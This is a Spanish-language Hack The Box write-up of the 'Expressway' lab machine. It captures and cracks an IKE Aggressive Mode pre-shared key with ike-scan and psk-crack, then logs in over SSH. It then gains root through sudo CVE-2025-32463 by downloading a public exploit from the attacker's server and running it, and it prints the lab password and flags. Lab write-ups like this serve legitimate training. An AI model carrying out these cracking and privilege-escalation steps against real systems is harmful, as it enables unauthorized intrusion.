# ExpressWay WriteUp Iniciamos con un escaneo de nmap: ```shell nmap -sV -Pn -sC 10.129.10.150 ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/5d8664ec-ce7b-4c11-9c62-083b0393d44a.png align="center") Como en TCP esta solo el puerto 22 abierto, el cual corresponde a ssh, realizamos tambien un escaneo de puertos UDP: ```shell sudo nmap -sU -vv -Pn --min-rate 5000 10.129.10.150 ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/5512acca-2765-4e74-a9f7-f5091e99b21d.png align="center") Tras obtener los resultados del escaneo, notaremos que el puerto 500 esta abierto: ```plaintext 500/udp open isakmp udp-response ttl 63 ``` ## Que es isakmp? **Internet Security Association and Key Management Protocol** Es el protocolo utilizado para **negociar los parámetros de seguridad antes de crear un túnel VPN IPsec**. Entre otras cosas negocia: * algoritmo de cifrado * algoritmo hash * grupo Diffie-Hellman * método de autenticación (PSK o certificados) Para interactuar con el servicio usamos la herramienta `ike-scan`. En este caso utilizamos la flag `-M` para mostrar la salida en múltiples líneas y facilitar su lectura. A partir de esta información, podemos identificar datos como: * algoritmos soportados * método de autenticación * características del servidor ```shell sudo ike-scan -M 10.129.10.150 ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/f974e1c5-6003-47d1-b10f-0c329c059d67.png align="center") Esto nos dice que: * usa **3DES** * usa **SHA1** * usa **Diffie-Hellman group 2** * la autenticación es **PSK (Pre Shared Key)** Luego ejecutamos el mismo comando, pero agregando la opción `--showbackoff` para mostrar la tabla de *backoff*, la cual puede utilizarse para identificar la implementación IKE del host remoto: ```shell sudo ike-scan -M --showbackoff 10.129.10.150 ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/ed7ef47c-d399-44e6-a0c5-22bcbaf19b82.png align="center") En este caso, el resultado sugiere: ```shell Implementation guess: Linksys Etherfast ``` Esto indica que la implementación del servicio IKE podría corresponder a un dispositivo o stack compatible con Linksys Etherfast, aunque esta identificación no siempre es completamente precisa. A continuación utilizamos Aggressive Mode para obtener más información del servicio IKE: * `-P`: muestra los parámetros del PSK obtenidos en Aggressive Mode, utilizables para cracking offline. * `-M`: para que utilice multiline y muestre la salida en múltiples líneas para facilitar su lectura. * `-A`: Fuerza el uso de IKE Aggressive Mode. * `-N`: Evita la resolución DNS durante el escaneo. * `--id=groupnamedoesnotexist`: Define un Group ID arbitrario para iniciar el intercambio IKE. ```shell sudo ike-scan -P -M -A -n --id=groupnamedoesnotexist 10.129.10.150 ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/3232ea78-fd67-41d9-9694-9d2028d175ee.png align="center") El servidor devuelve el siguiente identificador: ```shell ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) ``` Esto revela el **identificador utilizado en la autenticación IKE**, que en este caso es: ```shell ike@expressway.htb ``` El intercambio IKE en Aggressive Mode devuelve los parámetros necesarios para realizar un ataque offline contra el Pre-Shared Key (PSK). Estos parámetros incluyen valores del intercambio Diffie-Hellman, nonces y el hash de autenticación generado durante el handshake, que puede ser utilizado para intentar recuperar la clave compartida mediante un ataque de diccionario. Para ello, copiamos los parámetros obtenidos del output de ike-scan y los guardamos en un archivo: ```shell echo d369998823b1ee395c04a7aabefbf68dcf... > ike.hash ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/57c07f8e-cf01-4491-97c3-2aded13e16f2.png align="center") Este archivo contiene los **parámetros del intercambio IKE necesarios para realizar el cracking del PSK**. A continuación utilizamos la herramienta `psk-crack`, incluida junto con `ike-scan`, para realizar un ataque de diccionario utilizando la wordlist **rockyou**: ```shell psk-crack ike.hash -d /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/a917e834-0b45-46a5-b257-0031e26081d3.png align="center") Obtenemos la clave: ```plaintext freakingrockstarontheroad ``` Utilizamos la clave para autenticarnos mediante ssh con el usuario previamente obtenido, y obtenemos la flag de user: ```shell ssh ike@10.129.10.150 ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/527e5078-f34b-4011-a933-62e4dc8b8f12.png align="center") User Flag: `876d5b5c97deb07c0aea1a96b76132cf` * * * ## Escalada de privilegios Una vez obtenida una shell en la máquina como el usuario `ike`, intentamos verificar si el usuario tiene permisos de `sudo` ejecutando: ```shell sudo -l ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/8475b3e0-fc64-4ef1-aa3a-f88e0f62a723.png align="center") La respuesta del sistema indica que el usuario **no tiene permisos para ejecutar comandos mediante** `sudo`, por lo que debemos buscar otros posibles vectores de escalada de privilegios. Para identificar posibles vectores de escalada de privilegios, utilizamos la herramienta **linpeas**, la cual automatiza la enumeración de configuraciones inseguras, permisos incorrectos y versiones vulnerables de software. Primero levantamos un servidor HTTP en nuestra máquina atacante para transferir la herramienta: ```shell python -m http.server 8081 ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/efca396b-92e5-400e-9f21-ea5b8433b4a0.png align="center") Luego descargamos el script en la máquina objetivo: ```shell wget http://IP/linpeas.sh ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/802fb86f-b728-4e04-8832-829175364940.png align="center") Una vez subido, le damos permiso de ejecucion con `chmod +x linpeas.sh` y lo ejecutamos con `./linpeas.sh` Tras revisar la salida de **linpeas**, observamos que el sistema utiliza una versión potencialmente vulnerable de `sudo`: ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/d85a1488-a38b-445c-ac5f-b76af0e0a5da.png align="center") Para confirmarlo verificamos la versión instalada: ```shell /usr/local/bin/sudo --version ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/9e203ed3-0499-419f-b5ac-d574c26b39ae.png align="center") ## CVE-2025-32463 Buscando exploits públicos para esta versión encontramos una vulnerabilidad identificada como `CVE-2025-32463`. Esta vulnerabilidad permite **escalar privilegios a root mediante un bypass del entorno chroot en sudo**. [https://www.exploit-db.com/exploits/52352](https://www.exploit-db.com/exploits/52352) [https://github.com/pr0v3rbs/CVE-2025-32463\_chwoot/](https://github.com/pr0v3rbs/CVE-2025-32463_chwoot/) > **El CVE-2025-32463 es una vulnerabilidad crítica de escalada local de privilegios en** `sudo`**, relacionada con la opción** `--chroot` **(**`-R`**). Debido a un manejo inseguro de** `nsswitch.conf`**, un usuario local puede hacer que** `sudo` **cargue configuración desde un directorio controlado por él y, en determinadas condiciones, lograr ejecución de código como** `root`**. Afecta a versiones anteriores a** `sudo` **1.9.17p1.** Clonamos el exploit desde GitHub en nuestra máquina atacante: ```shell git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot/ ``` Luego iniciamos nuevamente un servidor HTTP para transferir el exploit a la máquina objetivo: ```shell python -m http.server 8081 ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/26a9037d-dabe-48a6-90ed-1f9be0b397a1.png align="center") En la máquina víctima descargamos el exploit: ```shell wget http://10.10.15.106:8081/sudo-chwoot.sh ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/ebe45b0b-ae44-4ebd-ac4f-a97725f1b0a3.png align="center") Le damos permisos de ejecucion con `chmod +x sudo-chwoot.sh` y lo ejecutamos junto con el comando `whoami` para confirmar que el exploit funciona: ```shell ./sudo-chwoot.sh whoami ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/e47f0982-3741-44a1-a7b8-fd696b0ac365.png align="center") Si revisamos el resultado, veremos que el exploit se ejecuta con exito y tenemos acceso como root, por lo cual, vamos a volver a lanzar el comando, pero que esta vez nos devuelva una shell como root, para de esta forma obtener la flag: ```shell ./sudo-chwoot.sh /bin/bash ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/79c0e124-bdf8-49e5-a127-b0e778d5fc0f.png align="center") Root Flag: `da872bcc3e0e3f20b20bf26b1502a8b9` * * * 📌 **Sígueme / Portfolio** 🌐 **Web:** [https://0xnano.com](https://0xnano.com) 🐦 **X:** [https://x.com/0xN4no](https://x.com/0xN4no) 🐙 **GitHub:** [https://github.com/0xN4no](https://github.com/0xN4no) ![Nano](https://www.hackthebox.eu/badge/image/54373 align="left") 🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.